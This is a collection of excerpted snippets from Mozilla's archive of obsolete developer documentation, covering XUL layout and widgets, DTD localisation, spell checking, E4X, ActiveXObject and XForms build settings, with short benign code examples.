...here is an example which displays the current mouse coordinates: example 4 : source view <script> function updatemousecoordinates(e){ var text = "x:" + e.clientx + " y:" + e.clienty; document.getelementbyid("xy").value = text; } </script> <label id="xy"/> <hbox width="400" height="400" onmousemove="updatemousecoordinates(event);"/> in this example, the size of the box has been set explicitly so the effect is easier to see.
Stack Positioning - Archive of obsolete content
example 1 : source view <stack> <button label="goblins" left="5" top="5"/> <button label="trolls" left="60" top="20"/> <button label="vampires" left="10" top="60"/> </stack> the stack here contains three elements, each positioned at the coordinates given by the left and top attributes.
... when using these attributes to set width or height, both attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set.
... in this example, the resulting width of the top-most hbox will be 400px: <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here.
... --> </hbox> </stack> in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
Using Spacers - Archive of obsolete content
the simplest spacer looks like the following: <spacer flex="1"/> a spacer is used to place blank space into a window.
... <spacer flex="1"/> <button id="find-button" label="find"/> more about flexibility xul lays out elements on a window by calculating suitable widths and heights for the elements and then adding space where they are flexible.
...flex examples example 1: <button label="find" flex="1"/> <button label="cancel" flex="1"/> example 2: <button label="find" flex="10"/> <button label="cancel" flex="1"/> example 3: <button label="find" flex="2"/> <button label="replace"/> <button label="cancel" flex="4"/> example 4: <button label="find" flex="2"/> <button label="replace" flex="2"/> <button label="cancel" flex="3"/> example 5: <html:div> <butto...
...n label="find" flex="2"/> <button label="replace" flex="2"/> </html:div> example 6: <button label="find" flex="145"/> <button label="replace" flex="145"/> example 1 in this case the flexibility is divided up evenly between both buttons.
XUL Structure - Archive of obsolete content
to further the confusion, there are two other places where the word "chrome" might appear.
...in firefox, this preference may be added to the user preferences by typing "about:config" in the address field, and setting this value to true.
... or, just manually edit your user.js preferences file and add the following line: pref("nglayout.debug.disable_xul_cache", true); there are usually three different parts to a chrome package, although they are all optional.
...in this case, the package name is "browser" so we expect to find browser.xul.
Using Visual Studio as your XUL IDE - Archive of obsolete content
> text editor > file extension and add the extension "xul" with "xml editor".
... as you are already there, you can do the same for "xbl".
...that has to do with the way mozilla implemented localization: < !doctype window system "chrome://loomo/locale/main.dtd"> visual studio doesn't recognize the chrome uri prefix, what will give you an error at the previous line ("the uri prefix is not recognized").
...5.3 javascript related you will get validation errors for javascript code whenever using the keywords "const" and "let".
Using multiple DTDs - Archive of obsolete content
single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
...then accessing entities from both dtds would look like this: <button id="somebutton" label="&somebutton.label"> ...
... <button id="okbutton" label="&okbutton.label"> note that there is no such thing as namespaces with multiple dtds.
Using spell checking in XUL - Archive of obsolete content
// different versions of firefox have different contract ids var spellclass = "@mozilla.org/spellchecker/myspell;1"; if ("@mozilla.org/spellchecker/hunspell;1" in components.classes) spellclass = "@mozilla.org/spellchecker/hunspell;1"; if ("@mozilla.org/spellchecker/engine;1" in components.classes) spellclass = "@mozilla.org/spellchecker/engine;1"; gspellcheckengine = components.classes[spellclass].getservice(components.interfaces.mozispellcheckingengine); gspellcheckeng...
...ine.dictionary = 'en-us'; if (gspellcheckengine.check("kat")) { // it's spelled correctly } else { // it's spelled incorrectly but check if the user has added "kat" as a correct word..
... var mpersonaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getservice(components.interfaces.mozipersonaldictionary); if (mpersonaldictionary.check("kat", gspellcheckengine.dictionary)) { // it's spelled correctly accourdly to user personal dictionary } else { // it's spelled incorrectly } } getting a list of suggestions to get a list of suggestions for a misspelled word, you call the suggest() method, specifying the word and an object to be filled with an array of possible suggestions.
... var suggestions = {}; gspellcheckengine.suggest("kat", suggestions, {}); if (suggestions.value) { // suggestions.value is a javascript array of strings // there were suggestions.value.length suggestions found } ...
Using the standard theme - Archive of obsolete content
you can either provide a complete custom styling, but most of the time you also want to be able to reuse the standard theme (also called the "global skin") of the base application for non-custom elements, transparently with regard to which theme the user has currently chosen.
... applying the standard theme in order to use the theme currently chosen by the user of the base application (the so called "global skin"), you have to add the following line to your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this imports the styles found in the <tt>global/skin</tt> chrome directory and will make the standard xul widgets of your application use the selected chosen theme.
... multiple <tt>xml-stylesheet</tt> processing instructions simply add one <tt>xml-stylesheet</tt> processing instruction for every style sheet you want to associate with your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> <tt>@import</tt> chains first, import the global skin in your custom style sheet using the css <tt>@import</tt> rule: @import url("chrome://global/skin/"); you then have to associate your xul file with your custom style sheet only: <?xml-stylesheet href="chrome://myextension/...
...skin/custom.css" type="text/css"?> applying different custom style sheets depending on the selected theme mozilla is able to automatically pick your custom style sheet depending on the theme currently chosen by the user.
XUL Accesskey FAQ and Policies - Archive of obsolete content
for example, here's how we add an accesskey to a xul button: <button label="apply instantly" accesskey="a" /> apply instantly - or - <button label="apply instantly" accesskey="a" /> apply instantly in mozilla, we use dtd's for one more layer of abstraction, for purposes of internationalization.
... the above example should say: <button label="apply instantly" accesskey="&applyinstantly.accesskey" /> (always use accesskey instead of akey).
...for example, "do it &now" makes "n" the underlined accesskey.
...look for dependencies of bug 129179 (the xul accesskey hookup meta bug), or look for bugs with "accesskey" or "mnemonic" in the summary, or look for dialogs where there are no elements with underlined letters.
button - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...when autocheck is true, the button type should be "checkbox" or "radio".
... group type: string group name buttons with type="radio" and the same value for their group attribute are put into the same group.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
colorpicker - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> ...
...<textbox id="find-text" onchange="return myfunction(event);"/> </window> preference type: id connects the element to a corresponding preference.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...amespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsidomxulcontrolelement bugs the onchange event only fires if attribute type is set to "button".
description - Archive of obsolete content
</description> this is a long section of text that will not word wrap <description value="this is a long section of text that will not word wrap"> </description> this is a long section of dynamically controlled text that will word wrap <description id="desc" style="width: 300px"></description> document.getelementbyid('desc').textcontent = "this is a long section of dynamic message text that will word wrap"; attributes crop type: one of the values below if...
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
listitem - Archive of obsolete content
attributes accesskey, checked, command, crop, current, disabled, image, label, preference, selected, tabindex, type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
menulist - Archive of obsolete content
dex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, itemcount, label, menuboxobject, menupopup, open, selectedindex, selecteditem, tabindex, value methods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallitems, removeitemat, select examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
menuseparator - Archive of obsolete content
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, selected, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
notificationbox - Archive of obsolete content
also it is possible to call function with the same name (they are different) of global object gbrowser: notifybox = gbrowser.getnotificationbox() examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code snippets area.
...if "" then an icon appropriate for the priority level is used.
...the type property must also be set to "menu", or "menu-button".
...valid values are "menu-button" and "menu" which must be set if the button is to provide a popup via the popup property.
radiogroup - Archive of obsolete content
attributes disabled, focused, preference, tabindex, value properties accessibletype, disabled, focuseditem, itemcount, selectedindex, selecteditem, tabindex, value methods appenditem, checkadjacentelement, getindexofitem, getitematindex, insertitemat, removeitemat examples <radiogroup> <radio id="orange" label="red"/> <radio id="violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup> attributes disabled type: boolean indicates whether the element is disabled or not.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resi...
...zer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer dir="bottom" height="2" style="background-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="background-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor: se-resize;"/> </vbox> </hbox> </window> resizing an element <stack style="border: 1px solid black;"> <button id="button" label="resizable" left="18" top="18" right="18" bottom="18"/> <resizer dir="topleft" s...
...tyle="background: black; -moz-appearance: none;" element="button" left="0" top="0" width="16" height="16"/> <resizer dir="topright" style="background: black; -moz-appearance: none;" element="button" right="0" top="0" width="16" height="16"/> <resizer dir="bottomleft" style="background: black; -moz-appearance: none;" element="button" left="0" bottom="0" width="16" height="16"/> <resizer dir="bottomright" style="background: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized.
... typetype: stringset this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window.
richlistbox - Archive of obsolete content
ndexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
stack - Archive of obsolete content
ArchiveMozillaXULstack
when using these attributes to set width or height, both attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set.
... in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
... examples <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1"left="10"right="10" top="10" bottom="10"/> </hbox> <hbox> <!-- some content here.
... --> </hbox> </stack> in this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here.
tab - Archive of obsolete content
ArchiveMozillaXULtab
you can determine if a tab is being restored by checking to see if hasattribute("pending") is true.
... if the user has turned on the "don't load tabs until selected" preference, the pending attribute is set on tabs until they get loaded.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
... also, "unhiding" a tab leads to unpredictable ordering of the tabs.
tooltip - Archive of obsolete content
attributes crop, default, label, noautohide, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, page, position properties accessibletype, label, popupboxobject, position, state methods hidepopup, moveto, openpopup, openpopupatscreen, showpopup, sizeto examples <tooltip id="moretip" orient="vertical" style="background-color: #33dd00;"> <label value="click here to see more information"/> <label value="really!" style="color: red;"/> </tooltip> <vbox> <button label="simple" tooltiptext="a simple popup"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big ...
... example: <menupopup id="top" onpopuphidden="console.log('the onpopuphidden method of id=top was called.');"> <menuitem label="item 1"/> <menuitem label="item 2"/> <menu id="submenu1" label="submenu 1"> <menupopup id="submenu1-popup"> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"...
...> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submenu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this event is sent to a popup when it is about to be hidden.
... example <tooltip id="pagetooltip" page="true"/> <browser tooltip="pagetooltip"/> position type: string the position attribute determines where the popup appears relative to the element the user clicked to invoke the popup.
treecol - Archive of obsolete content
<tree flex="1" editable="true"> <treecols> <treecol label="active" type="checkbox" editable="true"/> <treecol label="name" flex="1" /> </treecols> <treechildren> <treeitem> <treerow> <treecell value="true"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> ...
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } for example: create a css file.
... editable type: boolean allows the contents of cells in the column to be changed, especially useful when type="checkbox".
...individual treecell elements in the column may be marked editable="false" in order to disable editing.
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zi...
...pfileset dir="." includes="install.rdf" /> </zip> </target> everything inside the chrome directory is zipped into chrome/blogmark.jar <target name="createjar" depends="templates" description="assemble the jar"> <jar destfile="chrome/blogmark.jar"> <fileset dir="chrome/"> <include name="**/*"/> <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" description="generate files from templates."> <copy file="chrome/content/blogmark/contents.rdf.tp...
...l.xml" tofile="chrome/content/blogmark/contents.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filterchain> </copy> <copy file="chrome/content/blogmark/about.xul.tpl.xml" tofile="chrome/content/blogmark/about.xul" overwrite="true"> <filterchain> <replacetokens> <token key="version" valu...
...e="${version}"/> </replacetokens> </filterchain> </copy> <copy file="install.rdf.tpl.xml" tofile="install.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filterchain> </copy> </target> </project> ...
Proposal - Archive of obsolete content
note: those in the list below that are marked "in development" should not be implemented.
... "in development" means that they are still working on it and trying to come up with a draft.
... those labeled with "draft exists" can be implemented, but be warned that they could radically change.
...uses an http "content-type" parameter to hint at an rss feeds disposition type -- to hint at what is being syndicated.
SAX - Archive of obsolete content
to create one, use the following code: var xmlreader = components.classes["@mozilla.org/saxparser/xmlreader;1"] .createinstance(components.interfaces.nsisaxxmlreader); after you created the sax parser, you need to set the handlers for the events you're interested in and fire off the parsing process.
... an example implementation of the most commonly used content handler: function print(s) { dump(s + "\n"); } xmlreader.contenthandler = { // nsisaxcontenthandler startdocument: function() { print("startdocument"); }, enddocument: function() { print("enddocument"); }, startelement: function(uri, localname, qname, /*nsisaxattributes*/ attributes) { var attrs = []; for(var i=0; i<attributes.length; i++) { attrs.push(attributes.getqname(i) + "='" + ...
... attributes.getvalue(i) + "'"); } print("startelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "', attributes={" + attrs.join(",") + "}"); }, endelement: function(uri, localname, qname) { print("endelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "'"); }, characters: function(value) { print("characters: " + value); }, processinginstruction: function(target, data) { print("processinginstruction: target='" + target + "', data='" + data + "'"); }, ignorablewhitespace: function(whitespace) { // don't care }, startprefixmapping: function(prefix, uri) { // don't care }, endprefixmapping: function(prefix) { // don't care }, ...
...below is an example of parsing from a string: xmlreader.parsefromstring("<f:a xmlns:f='g' d='1'><bbq/></f:a>", "text/xml"); this call results in the following output (assuming the content handler from the example above is used): startdocument startelement: namespace='g', localname='a', qname='f:a', attributes={d='1'} startelement: namespace='', localname='bbq', qname='bbq', attributes={} endelement: namespace='', localname='bbq', qname='bbq' endelement: namespace='g...
Sunbird Theme Tutorial - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepageurl="http://developer.mozilla.org/" em:version="0.1" em:internalname...
...="testing" em:type="4" > <em:targetapplication><!-- sunbird --> <description em:id="{718e30fb-e89b-41dd-9da7-e25a45638b28}" em:minversion="0.2.9" em:maxversion="0.4" /> </em:targetapplication> </description> </rdf> in the line that starts <tt>em:id</tt>, paste your identifier between the double-quote characters, replacing the identifier that is there now.
...in the <tt>pref</tt> directory, edit the file <tt>sunbird.js</tt> and search for the <tt>pref("extensions</tt> entries.
... add the line: pref("extensions.dss.enabled", false); save the file.
-ms-accelerator - Archive of obsolete content
formal syntax false | true examples this example uses the -ms-accelerator attribute in a <u> element to specify that the "n" in the <label> element is a keyboard shortcut.
... when the option to "hide keyboard navigation indicators until i use the alt key" is enabled in the user's display properties, the "n" is not underlined until the user presses the alt key.
... when alt + n is pressed, the <input> element that defines an accesskey attribute value of "n" receives the focus.
... <!doctype html> <html> <head> <title>accelerator</title> </head> <body> <label for="oname"><u style="-ms-accelerator: true; accelerator: true">n</u>ame: </label> <input type="text" id="oname" size="25" accesskey="n" value="your name here" /> </body> </html> specifications not part of any specification.
E4X - Archive of obsolete content
ArchiveWebE4X
to fully enable e4x, the <script> element needs to have the mime type "text/javascript;e4x=1" (i.e., have an attribute of the form type="text/javascript;e4x=1").
... the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
...you may get syntaxerror "xml is a reserved identifier" (despite the xml being in a string).
... workaround: var response = xmlhttprequest.responsetext; // bug 270553 response = response.replace(/^<\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?>/, ""); // bug 336551 var e4x = new xml(response); resources e4x tutorial processing xml with e4x on mdc e4x for templating see the list of e4x-related pages on mdc ecma-357 standard brendan's presentation e4x at faqts.com e4x quick reference at rephrase.net ...
ActiveXObject - Archive of obsolete content
for example, for the local intranet zone, you typically need to change a custom setting to "initialize and script activex controls not marked as safe for scripting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object.
... to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("excel.application"); var excelsheet = new activexobject("excel.sheet"); this code starts the application creating the object (in this case, a microsoft excel worksheet).
...excelsheet.activesheet.cells(1,1).value = "this is column a, row 1"; // save the sheet.
... excelsheet.saveas("c:\\test.xls"); // close excel with the quit method on the application object.
New in JavaScript 1.1 - Archive of obsolete content
the old netscape documentation references this as "features added after version 1".
... <script language="javascript"> <!-- javascript for navigator 2.0.
... --> <script language="javascript1.1"> <!-- javascript for navigator 3.0.
... changed functionality in javascript 1.1 "object deletion".
String.prototype.quote() - Archive of obsolete content
the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes (").
... "hello world!" hello world!
... "hello\n\tworld!" hello world!
... " \ — ' "\" \\ \u2014 '" " \ — ' specifications not part of any standard.
JavaObject - Archive of obsolete content
examples example: instantiating a java object in javascript the following code creates the javaobject thestring, which is an instance of the class java.lang.string: var thestring = new packages.java.lang.string("hello, world"); because the string class is in the java package, you can also use the java synonym and omit the packages keyword when you instantiate the class: var thestring = new java.lang.string("hello, world"); example: accessing methods of a java object because the javaobject thestring is an instance of java.lang.string, it inherits all the public methods of java.lang.string.
... the following example uses the startswith method to check whether thestring begins with "hello".
... var thestring = new java.lang.string("hello, world"); thestring.startswith("hello"); // returns true example: accessing inherited methods because getclass is a method of object, and java.lang.string extends object, the string class inherits the getclass method.
... var thestring = new java.lang.string("hello, world"); thestring.getclass(); // returns java.lang.string see also javaarray, javaclass, javapackage, packages ...
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
<script type="text/javascript"> var i = 0; while (++i < 10) { // ...
... <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments.
... <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause problems in downlevel browsers which do not understand xml.
... <script type="text/javascript"> //<![cdata[ var i = 0; while (++i < 10) { // ...
Building Mozilla XForms - Archive of obsolete content
for xforms, you will need to add the following line: ac_add_options --enable-extensions="default,xforms" # if you're using a mozilla source before 2010-11-06 (e.g.
... an old firefox 3.6 release) use this instead (see bug 601570 for details): ac_add_options --enable-extensions="default,xforms,schema-validation" a complete .mozconfig file for a release build might look like that: .
...2 on a dual core processor) ac_add_options --enable-extensions="default,xforms" ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests for a debug build, you could use this configuration: .
... $topsrcdir/browser/config/mozconfig mk_add_options moz_co_project=browser mk_add_options moz_objdir=@topsrcdir@/obj-@config_guess@ ac_add_options --enable-extensions="default,xforms" ac_add_options --enable-debug ac_add_options --disable-optimize ac_add_options --disable-tests building now that you have everything ready, you can rebuild mozilla with the same command you used before to build firefox without xforms.
XForms Select1 Element - Archive of obsolete content
xhtml widget characteristics analogous widgets is <html:select/> visual grouping by choices element is supported selection="open" is supported if incremental attribute value is false, the bound node is updated when the select1 control is blurred (i.e.
... loses focus), otherwise it is updated upon item selection xul widget characteristics analogous widgets are <html:select/> and <xul:menulist/> visual grouping by choices element isn't implemented selection="open" attribute isn't supported if incremental attribute value is false, the bound node is updated when the select control is blurred (i.e.
...characteristics analogous widgets are <html:select size="5"/> and <xul:listbox/> visual grouping by choices element isn't implemented selection="open" attribute isn't supported if incremental attribute value is false, the bound node is updated when the select control is blurred (i.e.
...characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported selection="open" attribute isn't supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select1 ref="/data/values"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</...
Parsing microformats in JavaScript - Archive of obsolete content
datatype "html" if the search should be done using innerhtml(), or "text" to use innertext().
... the default is "text".
... punctuation true if the date should have "-" and "/" in it.
...this handles the fact that telephone numbers use "value" as the name of one of their subproperties, but "value" is also used for value excerpting.
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
how to call plugin native methods the following html code will do the job:</p> this should be changed, we shouldn't advocate embed <embed type="application/plugin-mimetype"> <script language="javascript"> var embed = document.embeds[0]; embed.nativemethod(); </script> how to build and install having the built mozilla tree is probably not necessary, but building the plugin with a scriptable instance interface will require mozilla headers and the xpcom compatible idl compiler -- xpidl.exe.
...sample .idl file #include "nsisupports.idl" [scriptable, uuid(bedb0778-2ee0-11d5-9cf8-0060b0fbd8ac)] interface nsitestplugin : nsisupports { void nativemethod(); }; example 2.
... scriptable instance class #include "nsitestplugin.h" #include "nsiclassinfo.h" // we must implement nsiclassinfo because it signals the // mozilla security manager to allow calls from javascript.
...npp_getvalue implementation and possible scenario of scriptable object life cycle #include "nsitestplugin.h" nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char* argn[], char* argv[], npsaveddata* saved) { if(instance == null) return nperr_invalid_instance_error; // just prime instance->pdata with null for the purpose of this example // it will be assigned to the scriptable interface later to keep its // association w...
XUL Parser in Python - Archive of obsolete content
new "packages") on the fly using search and replace.
...if you want to test this script you should change the filename "res.html" specified in the fourth line and compare different results files.
...the parser provides the tag name itself as a string and the attributes and their values in a dictionary, "a".
...dy storing the values of all the attributes it finds, you can write the values of a particular attribute (e.g., id) to the results file by checking the attribute in sys.argv[1]: for attr in a.keys(): if strip(attr) == sys.argv[1]: el_list[name][strip(attr)] = strip(a[attr]) and writing thevalues to the html results file instead of thekeys: for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item].values(): w.write('<tr><td class="at">' + a + '</td>') with these modifications, the script creates an output more like a periodic table of xul elements.
Unconventional controls - Game development
you can check them by printing the responses out in the console: window.addeventlistener("keydown", function(event) { console.log(event.keycode); }, this); every key pressed on the remote will show its key code in the console.
...all that is needed is checking for key presses: window.addeventlistener("keydown", function(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ...
...first, we add a <script> tag with the url pointing at this file, and add <div id="output"></div> just before the closing </body> tag for outputting diagnostic information.
